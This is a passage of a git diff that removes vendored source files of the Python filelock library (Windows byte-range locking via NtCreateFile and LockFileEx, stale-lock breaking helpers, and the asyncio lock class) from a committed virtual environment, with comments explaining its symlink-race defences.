raise_on_not_writable_file(filename: str) -> None: - """ - Raise an exception if attempting to open the file for writing would fail. - - Separates files that can never be written from files that are writable but currently locked. - - :param filename: file to check - - :raises OSError: as if the file was opened for writing. - - """ - try: - # lstat, not stat: settles exists-and-writable in one syscall, and a hostile symlink at the lock path would - # make stat inspect the link target, letting an attacker turn a contended acquire into a misleading - # PermissionError / IsADirectoryError and probe that target's attributes. The real open passes O_NOFOLLOW and - # refuses the symlink anyway. - file_stat = os.lstat(filename) - except OSError: - return # does not exist, or an error the caller cannot act on - - # No mtime guard: the old `if st_mtime != 0` skip covered NFS/Linux quirks where os.lstat returned an all-zero - # struct, which it no longer does. Skipping on mtime 0 let a read-only file or a directory at the lock path pass - # as missing, so acquire() blocked forever on an open that cannot succeed. - if not (file_stat.st_mode & stat.S_IWUSR): - raise PermissionError(EACCES, "Permission denied", filename) - - if stat.S_ISDIR(file_stat.st_mode): - if sys.platform == "win32": # pragma: win32 cover - raise PermissionError(EACCES, "Permission denied", filename) - raise IsADirectoryError(EISDIR, "Is a directory", filename) # pragma: win32 no cover - - -def ensure_directory_exists(filename: Path | str) -> None: - """ - Ensure the directory containing the file exists (create it if necessary). - - :param filename: file. - - """ - Path(filename).parent.mkdir(parents=True, exist_ok=True) - - -def break_lock_file(lock_file: str, mtime_before: float, ino_before: int) -> None: - """ - Atomically break a stale lock file judged stale at modification time *mtime_before*. - - Rename the file to a process-private name before unlinking it, so two processes breaking the same lock cannot - delete each other's work: only one rename of a given inode wins, the loser gets ``OSError``. After the rename, - re-check the file. A newer modification time, or a different inode than *ino_before*, means a peer recreated the - lock between the stale decision and the rename, so we grabbed a live file and abort, leaving the renamed file in - place. A rollback rename is itself racy, the same trade-off as the soft read/write marker break. The inode check - matters because filesystems with coarse modification-time granularity (NFS, FAT) can give a same-second recreation - the old mtime, so mtime alone would miss it and unlink a live lock; the inode is the reliable identity, mirroring - the token re-check in the soft read/write marker break. ``lstat`` avoids following a hostile symlink swapped in - after the decision. - - The break name carries a random token so it is unguessable and unique per attempt. Without it two breakers in the - same process share ``.break.``, and a second break can rename a recreated live lock onto that path in - the window between the re-verify ``lstat`` above and the ``unlink`` below, deleting a live lock the inode check - just approved. A private name keeps anyone else from targeting our break path, matching the soft read/write marker - break. - - :param lock_file: path to the lock file to break. - :param mtime_before: modification time observed when the lock was judged stale. - :param ino_before: inode number observed when the lock was judged stale. - - :raises OSError: if the rename fails (e.g. the file vanished or is not owned in a sticky directory). - - """ - break_path = f"{lock_file}.break.{os.getpid()}.{secrets.token_hex(16)}" - Path(lock_file).rename(break_path) - try: - st_after = os.lstat(break_path) - except OSError: - return - if st_after.st_mtime > mtime_before or st_after.st_ino != ino_before: - return - Path(break_path).unlink() - - -def touch(name: str, *, fd: int | None = None) -> None: - # Prefer the already-open, already-verified fd so a peer that swaps a symlink or a different file in at the - # path after our O_NOFOLLOW read cannot redirect the touch: utime then targets the inode behind the fd. - # Where the platform cannot utime an fd, fall back to a path-based touch that still refuses to follow a - # symlink where supported, matching the O_NOFOLLOW reads used elsewhere here. - if fd is not None and _SUPPORTS_UTIME_FD: # pragma: needs utime-fd - os.utime(fd, None) - return - os.utime(name, None, follow_symlinks=not _SUPPORTS_UTIME_NOFOLLOW) - - -# Retargeting os.utime to an open fd lets a heartbeat refresh the exact inode it verified instead of whatever the -# pathname now names. -_SUPPORTS_UTIME_FD: Final[bool] = sys.platform != "win32" and os.utime in os.supports_fd -# os.utime follows symlinks unless told not to; not every platform can refuse the follow, so probe support. -_SUPPORTS_UTIME_NOFOLLOW: Final[bool] = os.utime in os.supports_follow_symlinks - - -__all__ = [ - "break_lock_file", - "ensure_directory_exists", - "raise_on_not_writable_file", - "touch", - "write_all", -] diff --git a/venv/Lib/site-packages/filelock/_windows.py b/venv/Lib/site-packages/filelock/_windows.py deleted file mode 100644 index 3d72e5355429abf8f94aa7892737c46bb46ff9a3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/filelock/_windows.py +++ /dev/null @@ -1,323 +0,0 @@ -from __future__ import annotations - -import os -import sys -from contextlib import suppress -from pathlib import Path -from typing import Final, cast - -from ._api import BaseFileLock -from ._util import ensure_directory_exists, raise_on_not_writable_file - -if sys.platform == "win32": # pragma: win32 cover - import ctypes - import msvcrt - from ctypes import wintypes - - _GENERIC_READ: Final[int] = 0x80000000 - _GENERIC_WRITE: Final[int] = 0x40000000 - _SYNCHRONIZE: Final[int] = 0x00100000 - _DESIRED_ACCESS: Final[int] = _GENERIC_READ | _GENERIC_WRITE | _SYNCHRONIZE - _FILE_SHARE_READ_WRITE: Final[int] = ( - 0x00000001 | 0x00000002 - ) # read | write; matches os.open (_SH_DENYNO), no delete - _FILE_OPEN_IF: Final[int] = 3 # open the file if it exists, create it otherwise; the NtCreateFile OPEN_ALWAYS - _FILE_ATTRIBUTE_READONLY: Final[int] = 0x00000001 - _FILE_ATTRIBUTE_NORMAL: Final[int] = 0x00000080 - _FILE_ATTRIBUTE_REPARSE_POINT: Final[int] = 0x00000400 - # CreateOptions: keep the handle synchronous (the CRT and msvcrt.locking rely on a maintained file position), - # refuse a directory, and open a reparse point rather than following it so the check below acts on the link itself. - _FILE_SYNCHRONOUS_IO_NONALERT: Final[int] = 0x00000020 - _FILE_NON_DIRECTORY_FILE: Final[int] = 0x00000040 - _FILE_OPEN_REPARSE_POINT: Final[int] = 0x00200000 - _CREATE_OPTIONS: Final[int] = _FILE_SYNCHRONOUS_IO_NONALERT | _FILE_NON_DIRECTORY_FILE | _FILE_OPEN_REPARSE_POINT - _OBJ_CASE_INSENSITIVE: Final[int] = 0x00000040 # Win32 name lookups are case-insensitive - _OWNER_WRITE: Final[int] = 0o200 - - # LockFileEx locks a byte range at an offset carried in OVERLAPPED, independent of the descriptor's file position. - # msvcrt.locking starts at the current position instead, so a metadata write between lock and unlock could shift - # the byte a later unlock targets; the explicit offset removes that hazard for both the path lock and #608's - # descriptor lock. - _LOCKFILE_FAIL_IMMEDIATELY: Final[int] = 0x00000001 - _LOCKFILE_EXCLUSIVE_LOCK: Final[int] = 0x00000002 - _ERROR_LOCK_VIOLATION: Final[int] = 33 # another handle holds the byte range - - # NtCreateFile returns the raw NTSTATUS as its value, where CreateFileW collapses several of these into one - # ERROR_ACCESS_DENIED. Telling them apart is the point (#604): a name pending deletion or a share conflict is - # transient and worth a retry, a real access denial is not. - _STATUS_SUCCESS: Final[int] = 0x00000000 - _STATUS_ACCESS_DENIED: Final[int] = 0xC0000022 - _STATUS_SHARING_VIOLATION: Final[int] = 0xC0000043 - _STATUS_DELETE_PENDING: Final[int] = 0xC0000056 - - _ntdll: Final[ctypes.WinDLL] = ctypes.WinDLL("ntdll") - _kernel32: Final[ctypes.WinDLL] = ctypes.WinDLL("kernel32", use_last_error=True) - - class _UNICODE_STRING(ctypes.Structure): # ruff:ignore[invalid-class-name] # mirrors the Win32 struct name - _fields_ = ( - ("Length", wintypes.USHORT), # byte length, not character count - ("MaximumLength", wintypes.USHORT), - ("Buffer", wintypes.LPWSTR), - ) - - class _OBJECT_ATTRIBUTES(ctypes.Structure): # ruff:ignore[invalid-class-name] # mirrors the Win32 struct name - _fields_ = ( - ("Length", wintypes.ULONG), - ("RootDirectory", wintypes.HANDLE), - ("ObjectName", ctypes.POINTER(_UNICODE_STRING)), - ("Attributes", wintypes.ULONG), - ("SecurityDescriptor", ctypes.c_void_p), - ("SecurityQualityOfService", ctypes.c_void_p), - ) - - class _IO_STATUS_BLOCK(ctypes.Structure): # ruff:ignore[invalid-class-name] # mirrors the Win32 struct name - _fields_ = ( - ("Status", ctypes.c_void_p), # a union of NTSTATUS and PVOID, so it is pointer-sized - ("Information", ctypes.c_void_p), - ) - - class _OVERLAPPED(ctypes.Structure): # mirrors the Win32 struct name - _fields_ = ( - ("Internal", ctypes.c_void_p), # ULONG_PTR: pointer-sized, not DWORD, or the x64 layout corrupts Offset - ("InternalHigh", ctypes.c_void_p), - ("Offset", wintypes.DWORD), # the DUMMYUNIONNAME struct, flattened: low 32 bits of the byte offset - ("OffsetHigh", wintypes.DWORD), - ("hEvent", wintypes.HANDLE), - ) - - class _BY_HANDLE_FILE_INFORMATION(ctypes.Structure): # ruff:ignore[invalid-class-name] # mirrors the Win32 struct name - _fields_ = ( - ("dwFileAttributes", wintypes.DWORD), - ("ftCreationTime", wintypes.FILETIME), - ("ftLastAccessTime", wintypes.FILETIME), - ("ftLastWriteTime", wintypes.FILETIME), - ("dwVolumeSerialNumber", wintypes.DWORD), - ("nFileSizeHigh", wintypes.DWORD), - ("nFileSizeLow", wintypes.DWORD), - ("nNumberOfLinks", wintypes.DWORD), - ("nFileIndexHigh", wintypes.DWORD), - ("nFileIndexLow", wintypes.DWORD), - ) - - _ntdll.NtCreateFile.restype = wintypes.LONG # NTSTATUS - _ntdll.NtCreateFile.argtypes = [ - ctypes.POINTER(wintypes.HANDLE), - wintypes.DWORD, - ctypes.POINTER(_OBJECT_ATTRIBUTES), - ctypes.POINTER(_IO_STATUS_BLOCK), - ctypes.POINTER(ctypes.c_longlong), # PLARGE_INTEGER AllocationSize - wintypes.ULONG, - wintypes.ULONG, - wintypes.ULONG, - wintypes.ULONG, - ctypes.c_void_p, - wintypes.ULONG, - ] - _ntdll.RtlDosPathNameToNtPathName_U_WithStatus.restype = wintypes.LONG # NTSTATUS - _ntdll.RtlDosPathNameToNtPathName_U_WithStatus.argtypes = [ - wintypes.LPCWSTR, - ctypes.POINTER(_UNICODE_STRING), - ctypes.c_void_p, - ctypes.c_void_p, - ] - _ntdll.RtlFreeUnicodeString.restype = None - _ntdll.RtlFreeUnicodeString.argtypes = [ctypes.POINTER(_UNICODE_STRING)] - _ntdll.RtlNtStatusToDosError.restype = wintypes.ULONG - _ntdll.RtlNtStatusToDosError.argtypes = [wintypes.LONG] - - _kernel32.CloseHandle.argtypes = [wintypes.HANDLE] - _kernel32.CloseHandle.restype = wintypes.BOOL - _kernel32.GetFileInformationByHandle.argtypes = [wintypes.HANDLE, ctypes.POINTER(_BY_HANDLE_FILE_INFORMATION)] - _kernel32.GetFileInformationByHandle.restype = wintypes.BOOL - _kernel32.LockFileEx.argtypes = [ - wintypes.HANDLE, - wintypes.DWORD, - wintypes.DWORD, - wintypes.DWORD, - wintypes.DWORD, - ctypes.POINTER(_OVERLAPPED), - ] - _kernel32.LockFileEx.restype = wintypes.BOOL - _kernel32.UnlockFileEx.argtypes = [ - wintypes.HANDLE, - wintypes.DWORD, - wintypes.DWORD, - wintypes.DWORD, - ctypes.POINTER(_OVERLAPPED), - ] - _kernel32.UnlockFileEx.restype = wintypes.BOOL - - def _lock_fd_nonblocking(fd: int) -> bool: - # One nonblocking exclusive LockFileEx attempt shared by WindowsFileLock and lock_descriptor, over the one-byte - # range at offset 0. True on acquisition, False on contention, raise otherwise. The caller owns fd; the handle - # from get_osfhandle belongs to the CRT descriptor and must not be closed here. - overlapped = _OVERLAPPED() # zero-initialized, so Offset/OffsetHigh/hEvent are 0 - flags = _LOCKFILE_EXCLUSIVE_LOCK | _LOCKFILE_FAIL_IMMEDIATELY - if _kernel32.LockFileEx(msvcrt.get_osfhandle(fd), flags, 0, 1, 0, ctypes.byref(overlapped)): - return True - err = ctypes.get_last_error() - if err == _ERROR_LOCK_VIOLATION: - return False - # A non-contention LockFileEx failure is not reproducible in-process. - raise ctypes.WinError(err) # pragma: no cover - - def _unlock_fd(fd: int) -> None: - overlapped = _OVERLAPPED() # the same offset 0 and one-byte length the lock used - # Unlocking the exact range we hold does not fail. - if not _kernel32.UnlockFileEx(msvcrt.get_osfhandle(fd), 0, 1, 0, ctypes.byref(overlapped)): # pragma: no cover - raise ctypes.WinError(ctypes.get_last_error()) - - class WindowsFileLock(BaseFileLock): - """ - Uses ``LockFileEx`` to hard lock a byte range of the lock file on Windows systems. - - Lock file cleanup: Windows attempts to delete the lock file after release, but deletion is - not guaranteed in multi-threaded scenarios where another thread holds an open handle. The lock - file may persist on disk, which does not affect lock correctness. - """ - - def _acquire(self) -> None: - raise_on_not_writable_file(self.lock_file) - ensure_directory_exists(self.lock_file) - - # The reparse test is bound to the opened handle, so a symlink or junction swapped in cannot defeat it - # through a check-then-open TOCTOU race. - fd = _open_non_reparse_fd(self.lock_file, self._open_mode()) - if fd is None: - return # open contention (share conflict or a name pending deletion); let the retry loop try again - try: - locked = _lock_fd_nonblocking(fd) - if locked: - self._mark_descriptor_owned(fd) - except BaseException: # pragma: no cover # cleanup only if the lock attempt itself raises - os.close(fd) - raise - if not locked: - os.close(fd) # another holder owns the byte-range lock; let the retry loop try again - - def _release(self) -> None: - fd = cast("int", self._context.lock_file_fd) - # Retain the descriptor until the OS unlock succeeds: if UnlockFileEx raises, the byte-range lock is still - # held, so is_locked must keep reporting held rather than losing the fd. Only after the unlock commits do - # close and unlink run as post-unlock cleanup; their failure cannot make the lock held again. - _unlock_fd(fd) - self._mark_descriptor_released() - self._close_released_fd(fd, default_suppresses=False) - if not self._preserve_lock_file: # preserve_lock_file keeps a stable file identity for the caller (#605) - with suppress(OSError): - Path(self.lock_file).unlink() - - def _open_non_reparse_fd(path: str, mode: int) -> int | None: - """ - Open *path* for locking while refusing reparse points, bound to the handle actually locked. - - The file is opened through ``NtCreateFile`` with ``FILE_OPEN_REPARSE_POINT`` so a symlink or junction planted - at the path is not followed, and the reparse decision is read from *that* handle via - ``GetFileInformationByHandle`` rather than from a prior pathname query. Reading the held handle closes the - check-then-open race: an attacker cannot swap the path between validation and use because both act on the same - handle. Share mode omits delete so a peer cannot unlink or rename the file out from under a live holder, - matching ``os.open``'s ``_SH_DENYNO``. - - ``NtCreateFile`` is used instead of ``CreateFileW`` because its return value carries the raw ``NTSTATUS``. - Windows collapses a transient delete-pending name and a permanent access denial into the same Win32 - ``ERROR_ACCESS_DENIED``; the status keeps them apart, so a real denial fails fast instead of spinning until the - caller's timeout (#604). - - The reparse option only guards the final path component; Windows still follows reparse points in intermediate - directories. This assumes the lock file sits in a lock directory untrusted users cannot modify. A path with - attacker-controlled parent directories would need component-by-component handle validation. - - :param path: the lock file path. - :param mode: the permission mode; as ``os.open`` does on Windows, a cleared owner-write bit creates the file - read-only. The attribute only takes effect when the file is created, not when an existing one is opened. - - :returns: a file descriptor owning the opened handle, or ``None`` on a sharing violation or a delete-pending - name the caller should treat as contention and retry. - - :raises OSError: if the path resolves to a reparse point, or the open fails for any other reason, raised with - the Win32 error the status maps to. - - """ - # Emit the audit event os.open would, so consumers watching "open" still see the path-level open and can veto. - sys.audit("open", path, None, os.O_RDWR | os.O_CREAT) - handle, status = _nt_open(path, read_only=not mode & _OWNER_WRITE) - if status != _STATUS_SUCCESS: - if status in {_STATUS_SHARING_VIOLATION, _STATUS_DELETE_PENDING}: - return None - winerror = _ntdll.RtlNtStatusToDosError(status) - raise OSError(None, ctypes.FormatError(winerror).strip(), path, winerror) - - info = _BY_HANDLE_FILE_INFORMATION() - # Querying an open handle we just created does not fail. - if not _kernel32.GetFileInformationByHandle(handle, ctypes.byref(info)): # pragma: no cover - err = ctypes.get_last_error() - _kernel32.CloseHandle(handle) - raise ctypes.WinError(err) - if info.dwFileAttributes & _FILE_ATTRIBUTE_REPARSE_POINT: - _kernel32.CloseHandle(handle) - msg = f"Lock file is a reparse point (symlink/junction): {path}" - raise OSError(msg) - - try: - # O_NOINHERIT mirrors os.open on Windows: the lock fd must not leak into child processes. - return msvcrt.open_osfhandle(handle, os.O_RDWR | os.O_NOINHERIT) - except BaseException: # pragma: no cover # open_osfhandle audits too; a hook raising must not leak the handle - _kernel32.CloseHandle(handle) - raise - - def _nt_open(path: str, *, read_only: bool) -> tuple[int, int]: - """ - Open *path* through ``NtCreateFile`` and return ``(handle, status)``. - - ``RtlDosPathNameToNtPathName_U_WithStatus`` translates the Win32 path to the NT namespace, handling relative, - drive, UNC and extended-length path forms as Win32 itself would, and allocates a buffer that - ``RtlFreeUnicodeString`` releases. The handle is ``0`` unless the status is ``STATUS_SUCCESS``. - """ - nt_name = _UNICODE_STRING() - status = _ntdll.RtlDosPathNameToNtPathName_U_WithStatus(path, ctypes.byref(nt_name), None, None) & 0xFFFFFFFF - if status != _STATUS_SUCCESS: - return 0, status - try: - attributes = _OBJECT_ATTRIBUTES() - attributes.Length = ctypes.sizeof(_OBJECT_ATTRIBUTES) - attributes.ObjectName = ctypes.pointer(nt_name) - attributes.Attributes = _OBJ_CASE_INSENSITIVE - handle = wintypes.HANDLE() - io_status = _IO_STATUS_BLOCK() - status = ( - _ntdll.NtCreateFile( - ctypes.byref(handle), - _DESIRED_ACCESS, - ctypes.byref(attributes), - ctypes.byref(io_status), - None, - _FILE_ATTRIBUTE_READONLY if read_only else _FILE_ATTRIBUTE_NORMAL, - _FILE_SHARE_READ_WRITE, - _FILE_OPEN_IF, - _CREATE_OPTIONS, - None, - 0, - ) - & 0xFFFFFFFF - ) - finally: - _ntdll.RtlFreeUnicodeString(ctypes.byref(nt_name)) - if status != _STATUS_SUCCESS: - return 0, status - return handle.value or 0, status - -else: # pragma: win32 no cover - - class WindowsFileLock(BaseFileLock): - """Uses ``LockFileEx`` to hard lock a byte range of the lock file on Windows systems.""" - - def _acquire(self) -> None: - raise NotImplementedError - - def _release(self) -> None: - raise NotImplementedError - - -__all__ = [ - "WindowsFileLock", -] diff --git a/venv/Lib/site-packages/filelock/asyncio.py b/venv/Lib/site-packages/filelock/asyncio.py deleted file mode 100644 index 9d97371e547f2156931fa9d79ce3c65295582fb2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/filelock/asyncio.py +++ /dev/null @@ -1,759 +0,0 @@ -"""An asyncio-based implementation of the file lock.""" - -from __future__ import annotations - -import asyncio -import contextlib -import logging -import os -import time -from dataclasses import dataclass -from inspect import iscoroutinefunction -from threading import local -from typing import TYPE_CHECKING, Final, NoReturn, TypeVar, cast - -from ._api import ( - _UNSET_FILE_MODE, - BaseFileLock, - CloseErrorPolicy, - ContextErrorPolicy, - FileLockContext, - FileLockMeta, - _append_exception_context, - _canonical, - _ExtraValue, - _fork_transition, - _grouped_errors, - _raise_body_and_release, - _raise_chained_errors, - _raise_cleanup_errors, - _raise_grouped_errors, - _register_fork_object, -) -from ._async import ( - _AsyncTransitionGate, - _AsyncTransitionUnavailableError, - _BackendOutcome, - _capture_awaitable, - _capture_call, - _drain_future, - _future_result, - _wait_until_done, -) -from ._error import Timeout -from ._lease import SoftFileLease -from ._soft import SoftFileLock -from ._strict import StrictSoftFileLock -from ._unix import UnixFileLock -from ._windows import WindowsFileLock - -if TYPE_CHECKING: - import sys - from collections.abc import Awaitable, Callable, Coroutine, Hashable - from concurrent import futures - from types import TracebackType - - if sys.version_info >= (3, 11): # pragma: no cover (py311+) - from typing import Self - else: # pragma: no cover ( _AT: - if thread_local and run_in_executor: - msg = "run_in_executor is not supported when thread_local is True" - raise ValueError(msg) - return super().__call__( # a subclass may add options of its own, as AsyncSoftFileLease does - **kwargs, - lock_file=lock_file, - timeout=timeout, - mode=mode, - thread_local=thread_local, - blocking=blocking, - is_singleton=is_singleton, - poll_interval=poll_interval, - lifetime=lifetime, - context_error_policy=context_error_policy, - close_error_policy=close_error_policy, - fallback_to_soft=fallback_to_soft, - preserve_lock_file=preserve_lock_file, - on_acquired=on_acquired, - loop=loop, - run_in_executor=run_in_executor, - executor=executor, - ) - - -class BaseAsyncFileLock(BaseFileLock, metaclass=AsyncFileLockMeta): - """ - Base class for asynchronous file locks. - - .. versionadded:: 3.15.0 - - """ - - _deadlock_holder_desc: str = "BaseAsyncFileLock instance in this task" - _constructor_lifetime_warning_stacklevel: int = 4 - - @staticmethod - def _deadlock_scope() -> Hashable | None: - # One event loop thread runs every task, so a thread-scoped registry cannot tell a same-task reacquire - # (a real deadlock: the polling task never reaches its own release) from another task queuing behind the - # holder (no deadlock: each poll yields, so the holder runs on and releases). Only the first may fail - # fast, so scope holders to the task. - return asyncio.current_task() - - def __init__( # ruff:ignore[too-many-arguments] # public constructor: one parameter per documented lock option - self, - lock_file: str | os.PathLike[str], - timeout: float = -1, - mode: int = _UNSET_FILE_MODE, - thread_local: bool = False, # ruff:ignore[boolean-type-hint-positional-argument, boolean-default-value-positional-argument] # public API: positional bool kept for backwards compatibility - *, - blocking: bool = True, - is_singleton: bool = False, - poll_interval: float = 0.05, - lifetime: float | None = None, - context_error_policy: ContextErrorPolicy = "chain", - close_error_policy: CloseErrorPolicy = "default", - fallback_to_soft: bool = True, - preserve_lock_file: bool = False, - on_acquired: Callable[[int], None] | None = None, - loop: asyncio.AbstractEventLoop | None = None, - run_in_executor: bool = True, - executor: futures.Executor | None = None, - ) -> None: - """ - Create a new lock object. - - :param lock_file: path to the file - :param timeout: default timeout when acquiring the lock, in seconds. It will be used as fallback value in the - acquire method, if no timeout value (``None``) is given. If you want to disable the timeout, set it to a - negative value. A timeout of 0 means that there is exactly one attempt to acquire the file lock. - :param mode: file permissions for the lockfile. When not specified, the OS controls permissions via umask and - default ACLs, preserving POSIX default ACL inheritance in shared directories. - :param thread_local: Whether this object's internal context should be thread local or not. If this is set to - ``False`` then the lock will be reentrant across threads. When ``True`` (the default), **all fields of the - lock's internal context are per-thread**, including the configuration values ``poll_interval``, ``timeout``, - ``blocking``, ``mode``, and ``lifetime``. Setting one of these properties from one thread does not change - the value seen by another thread; threads that did not perform the write continue to see the value supplied - at construction time. If you need configuration values to be visible across threads, construct the lock - with ``thread_local=False``. - :param blocking: whether the lock should be blocking or not - :param is_singleton: If this is set to ``True`` then only one instance of this class will be created per lock - file. This is useful if you want to use the lock object for reentrant locking without needing to pass the - same object around. - :param poll_interval: default interval for polling the lock file, in seconds. It will be used as fallback value - in the acquire method, if no poll_interval value (``None``) is given. - :param lifetime: for :class:`AsyncSoftFileLock`, the age in seconds after which a waiting process may delete - the marker, even while its holder remains alive. This legacy expiry mode does not provide strict mutual - exclusion. ``None`` (the default) disables age-based expiry. Native OS locks (:class:`AsyncFileLock`) - cannot be revoked by file age and ignore a non-``None`` ``lifetime`` with a warning. - :param context_error_policy: how a context manager reconciles a failure in its body with a failure while - releasing on exit. ``"chain"`` (the default) keeps Python's behavior: the release error propagates with the - body error in its ``__context__``. ``"group"`` raises a :class:`BaseExceptionGroup` holding the body error - first and the release error second, so neither hides the other. - :param close_error_policy: for native locks (:class:`AsyncFileLock`), what to do with an ``os.close`` failure - after the OS unlock has already committed. ``"default"`` keeps each platform's historical behavior, - ``"raise"`` always propagates the ``OSError``, and ``"suppress"`` always ignores it. - :param fallback_to_soft: for :class:`AsyncFileLock`, whether to fall back to soft existence locking when - ``flock`` returns ``ENOSYS``. ``True`` (default) keeps the fallback; ``False`` propagates the error. - :param preserve_lock_file: for native locks (:class:`AsyncFileLock`), whether filelock promises not to unlink - the lock pathname on release. ``False`` (default) keeps each backend's cleanup; ``True`` keeps a stable file - identity (Windows skips its unlink, Unix refuses the ``ENOSYS`` soft fallback). :class:`AsyncSoftFileLock` - rejects ``True``. - :param on_acquired: for native locks (:class:`AsyncFileLock`), a callable invoked with the borrowed lock - descriptor once per physical acquisition, after the lock is held but before - :meth:`~BaseAsyncFileLock.acquire` returns. With ``run_in_executor=True`` (the default) it runs in the - backend executor. It must not close or unlock the descriptor; a raise rolls the acquisition back. - :class:`AsyncSoftFileLock` rejects it. - :param loop: The event loop to use. If not specified, the running event loop will be used. - :param run_in_executor: If this is set to ``True`` then the lock will be acquired in an executor. - :param executor: The executor to use. If not specified, the default executor will be used. - - """ - self._creator_pid = os.getpid() - self._is_thread_local = thread_local - self._is_singleton = is_singleton - self._context_error_policy = context_error_policy # already validated by the metaclass - self._close_error_policy = close_error_policy # already validated by the metaclass - self._fallback_to_soft = fallback_to_soft - self._preserve_lock_file = preserve_lock_file # already validated by the metaclass - self._on_acquired = on_acquired # already validated by the metaclass - self._transition_gate: Final[_AsyncTransitionGate] = _AsyncTransitionGate() - - self._context: AsyncFileLockContext = (AsyncThreadLocalFileContext if thread_local else AsyncFileLockContext)( - lock_file=os.fspath(lock_file), - timeout=timeout, - mode=mode, - blocking=blocking, - poll_interval=poll_interval, - lifetime=lifetime, - loop=loop, - run_in_executor=run_in_executor, - executor=executor, - ) - _register_fork_object(self) - - @property - def run_in_executor(self) -> bool: - """Whether run in executor.""" - return self._context.run_in_executor - - @property - def executor(self) -> futures.Executor | None: - """The executor.""" - return self._context.executor - - @executor.setter - def executor(self, value: futures.Executor | None) -> None: # pragma: no cover - """ - Change the executor. - - :param futures.Executor | None value: the new executor or ``None`` - - """ - self._context.executor = value - - @property - def loop(self) -> asyncio.AbstractEventLoop | None: - """The event loop.""" - return self._context.loop - - async def acquire( # ty: ignore[invalid-method-override] - self, - timeout: float | None = None, - poll_interval: float | None = None, - *, - blocking: bool | None = None, - cancel_check: Callable[[], bool] | None = None, - ) -> AsyncAcquireReturnProxy: - """ - Try to acquire the file lock. - - :param timeout: maximum wait time for acquiring the lock, ``None`` means use the default - :attr:`~BaseFileLock.timeout` is and if ``timeout < 0``, there is no timeout and this method will block - until the lock could be acquired - :param poll_interval: interval of trying to acquire the lock file, ``None`` means use the default - :attr:`~BaseFileLock.poll_interval` - :param blocking: defaults to True. If False, function will return immediately if it cannot obtain a lock on the - first attempt. Otherwise, this method will block until the timeout expires or the lock is acquired. - :param cancel_check: a callable returning ``True`` when the acquisition should be canceled. Checked on each poll - iteration. When triggered, raises :class:`~Timeout` just like an expired timeout. - - :returns: a context object that will unlock the file when the context is exited - - :raises Timeout: if fails to acquire lock within the timeout period - - .. code-block:: python - - # You can use this method in the context manager (recommended) - with lock.acquire(): - pass - - # Or use an equivalent try-finally construct: - lock.acquire() - try: - pass - finally: - lock.release() - - """ - self._raise_if_inherited() - if timeout is None: - timeout = self._context.timeout - - if blocking is None: - blocking = self._context.blocking - - if poll_interval is None: - poll_interval = self._context.poll_interval - - start_time = time.perf_counter() - try: - return await self._acquire_with_admission( - blocking=blocking, - cancel_check=cancel_check, - timeout=timeout, - poll_interval=poll_interval, - start_time=start_time, - ) - except _AsyncTransitionUnavailableError: - raise Timeout(self.lock_file) from None - - async def _acquire_with_admission( - self, - *, - blocking: bool, - cancel_check: Callable[[], bool] | None, - timeout: float, - poll_interval: float, - start_time: float, - ) -> AsyncAcquireReturnProxy: - async with self._transition_gate.hold_for_acquire( - blocking=blocking, - cancel_check=cancel_check, - deadline=None if timeout < 0 else start_time + timeout, - poll_interval=poll_interval, - ): - # A canceled provisional acquire must finish rollback before another caller can claim its descriptor. - canonical = _canonical(self.lock_file) - self._context.lock_counter += 1 - self._raise_if_would_deadlock(canonical, timeout=timeout, blocking=blocking) - self._context.claim_root = canonical - try: - await self._async_poll_until_acquired( - blocking=blocking, - cancel_check=cancel_check, - timeout=timeout, - poll_interval=poll_interval, - start_time=start_time, - ) - except BaseException: - self._reconcile_failed_acquire(canonical) - raise - finally: - self._context.claim_root = None - self._commit_acquire(canonical) - return AsyncAcquireReturnProxy(lock=self) - - async def _async_poll_until_acquired( - self, - *, - blocking: bool, - cancel_check: Callable[[], bool] | None, - timeout: float, - poll_interval: float, - start_time: float, - ) -> None: - lock_id = id(self) - lock_filename = self.lock_file - while True: - self._raise_if_inherited() - if not self.is_locked: - self._try_break_expired_lock() - _LOGGER.debug("Attempting to acquire lock %s on %s", lock_id, lock_filename) - await self._run_acquire_attempt() - self._raise_if_inherited() - if self.is_locked: - _LOGGER.debug("Lock %s acquired on %s", lock_id, lock_filename) - return - if self._check_give_up( - blocking=blocking, - cancel_check=cancel_check, - timeout=timeout, - start_time=start_time, - ): - raise Timeout(lock_filename) - _LOGGER.debug("Lock %s not acquired on %s, waiting %s seconds ...", lock_id, lock_filename, poll_interval) - await asyncio.sleep(poll_interval) - - async def _run_acquire_attempt(self) -> None: - acquire_future = self._start_internal_method( - self._acquire_with_fork_tracking_async - if iscoroutinefunction(self._acquire) - else self._acquire_with_fork_tracking - ) - try: - await _wait_until_done(acquire_future) - except asyncio.CancelledError as cancellation: - acquire_error: BaseException | None = None - try: - await _drain_future(acquire_future) - except BaseException as error: # ruff:ignore[blind-except] # reported with the cancellation below - acquire_error = error - - rollback_error: BaseException | None = None - if self.is_locked: - try: - await _drain_future(self._start_tracked_release()) - except BaseException as error: # ruff:ignore[blind-except] # reported with the cancellation below - rollback_error = error - - if acquire_error is not None: - if rollback_error is not None: # pragma: needs fcntl - self._raise_cancelled_errors( - "lock acquisition cancellation, backend attempt, and rollback failed", - cancellation, - acquire_error, - rollback_error, - ) - self._raise_cancelled_errors( - "lock acquisition cancellation and backend attempt both failed", cancellation, acquire_error - ) - if rollback_error is not None: - self._raise_cancelled_errors( - "lock acquisition cancellation and rollback both failed", cancellation, rollback_error - ) - raise - try: - _future_result(acquire_future) - except asyncio.CancelledError as acquire_error: - await self._rollback_backend_cancelled_acquire(acquire_error) - - async def _rollback_backend_cancelled_acquire(self, acquire_error: asyncio.CancelledError) -> NoReturn: - if self.is_locked: - try: - await _drain_future(self._start_tracked_release()) - except BaseException as rollback_error: # ruff:ignore[blind-except] # both backend errors must surface - self._raise_acquire_rollback_errors(acquire_error, rollback_error) - raise acquire_error - - def _raise_acquire_rollback_errors(self, acquire_error: BaseException, rollback_error: BaseException) -> NoReturn: - if self._context_error_policy == "group": - _raise_grouped_errors("lock acquisition backend and rollback both failed", acquire_error, rollback_error) - _raise_chained_errors(acquire_error, rollback_error) - - def _raise_cancelled_errors( - self, - message: str, - cancellation: asyncio.CancelledError, - first_error: BaseException, - second_error: BaseException | None = None, - ) -> NoReturn: - if self._context_error_policy == "group": - marker = ( - (_ASYNC_RELEASE_CANCELLATION_MARKER_ATTR, _ASYNC_RELEASE_CANCELLATION_MARKER) - if message == _ASYNC_RELEASE_CANCELLATION_ERRORS - else None - ) - if second_error is None: - 